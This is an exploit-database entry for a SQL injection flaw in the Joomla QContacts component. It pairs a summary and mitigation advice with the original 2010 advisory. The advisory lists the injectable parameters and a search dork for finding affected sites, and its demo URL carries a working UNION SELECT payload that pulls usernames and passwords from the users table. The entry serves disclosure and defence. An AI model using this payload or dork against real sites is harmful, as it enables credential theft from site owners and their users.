Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability

vendor:

QContacts

by:

_mlk_

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: QContacts

Affected Version From: 1.0.4 and previous

Affected Version To: 1.0.4 and previous

Patch Exists: NO

Related CWE:

CPE: a:joomla:qcontacts

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: all OS

2010

Joomla Component QContacts (com_qcontacts) – SQL Injection Vulnerability

Joomla Component QContacts (com_qcontacts) is vulnerable to SQL Injection. The vulnerable parameters are Itemid, id and catid. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. The malicious request contains a SQL query in the form of a URL parameter. This can be used to extract sensitive information from the database.

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to construct SQL queries that can be executed against the database. Parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability
# Date: 12, July 2010

# Author:  _mlk_
# Software Link: http://bugsec.googlecode.com/files/Joomla_com_qcontacts.zip
# Version: 1.0.4 and previous
# Tested on: all OS

# CVE : 0

# Code : here

Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability

#################################################################################################################


   [+] Discovered by : _mlk_ (Renan)

   [+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs

   [+] Homepages :  http://code.google.com/p/bugsec/
                    http://botecounix.com.br/blog/
                    http://c0d3rs.wordpress.com/

   [+] Location : Porto Alegre - RS, Brasil
                         (or Brazil)

#################################################################################################################


      [-] Information

   [?] Script : QContacts

   [?] FAQ : http://www.latenight-coding.com/joomla-addons/qcontacts.html

   [?] Versions Tested: 1.0.4 and previous

   [?] Dork/String :  "index.php?option=com_qcontacts" / "com_qcontacts"

   [?] Date :  12, July 2010


-----------------------------------------------------------------------------------------------------------------


      [*] Parameters vuls :

         Itemid
         id
         catid


-----------------------------------------------------------------------------------------------------------------


      [*] Example :

         http://localhost/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]
         http://localhost/[PATH]/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]


-----------------------------------------------------------------------------------------------------------------


      [*] Demo :

         http://<server>/path/index.php?option=com_qcontacts&view=contact&id=1&Itemid=-541
         +union+select+concat(id,0x3a,name,0x3a,username,0x3a,password)+from+cms01_users--


#################################################################################################################


    [~] Agradecimentos :

        Deus , Familiares , Amigos e Tricolor Gaúcho (Grêmio) .
        Em especial "i4k" ( alien \o/ ) .


#################################################################################################################